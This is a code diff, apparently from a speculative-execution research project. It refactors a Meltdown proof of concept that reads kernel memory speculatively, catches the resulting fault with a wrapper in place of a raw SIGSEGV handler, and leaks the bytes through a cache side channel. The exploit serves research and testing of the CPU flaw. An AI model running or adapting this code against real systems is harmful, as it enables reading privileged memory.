|
22 | 22 | #include <fstream> |
23 | 23 | #include <iostream> |
24 | 24 |
|
25 | | -#include <signal.h> |
26 | | - |
27 | 25 | #include "cache_sidechannel.h" |
| 26 | +#include "faults.h" |
28 | 27 | #include "instr.h" |
29 | 28 | #include "local_content.h" |
30 | 29 | #include "meltdown_local_content.h" |
@@ -54,14 +53,19 @@ static char LeakByte(const char *data, size_t offset) { |
54 | 53 | // value of the in-bounds access is usually different from the secret value |
55 | 54 | // we want to leak via out-of-bounds speculative access. |
56 | 55 | size_t safe_offset = run % strlen(public_data); |
57 | | - ForceRead(oracle.data() + static_cast<size_t>(data[safe_offset])); |
58 | 56 |
|
59 | | - // Access attempt to the kernel memory. This does not succeed |
60 | | - // architecturally and kernel sends SIGSEGV instead. |
61 | | - ForceRead(oracle.data() + static_cast<size_t>(data[offset])); |
| 57 | + bool handled_fault = RunWithFaultHandler([&]() { |
| 58 | + ForceRead(oracle.data() + static_cast<size_t>(data[safe_offset])); |
| 59 | + |
| 60 | + // Access attempt to the kernel memory. This does not succeed |
| 61 | + // architecturally and kernel sends SIGSEGV instead. |
| 62 | + ForceRead(oracle.data() + static_cast<size_t>(data[offset])); |
| 63 | + }); |
62 | 64 |
|
63 | | - // SIGSEGV signal handler moves the instruction pointer to this label. |
64 | | - asm volatile("afterspeculation:"); |
| 65 | + if (!handled_fault) { |
| 66 | + std::cerr << "Read didn't yield expected fault" << std::endl; |
| 67 | + exit(EXIT_FAILURE); |
| 68 | + } |
65 | 69 |
|
66 | 70 | std::pair<bool, char> result = |
67 | 71 | sidechannel.RecomputeScores(data[safe_offset]); |
@@ -91,7 +95,6 @@ int main() { |
91 | 95 | in >> std::dec >> private_length; |
92 | 96 | in.close(); |
93 | 97 |
|
94 | | - OnSignalMoveRipToAfterspeculation(SIGSEGV); |
95 | 98 | std::cout << "Leaking the string: "; |
96 | 99 | std::cout.flush(); |
97 | 100 | const size_t private_offset = |
|
0 commit comments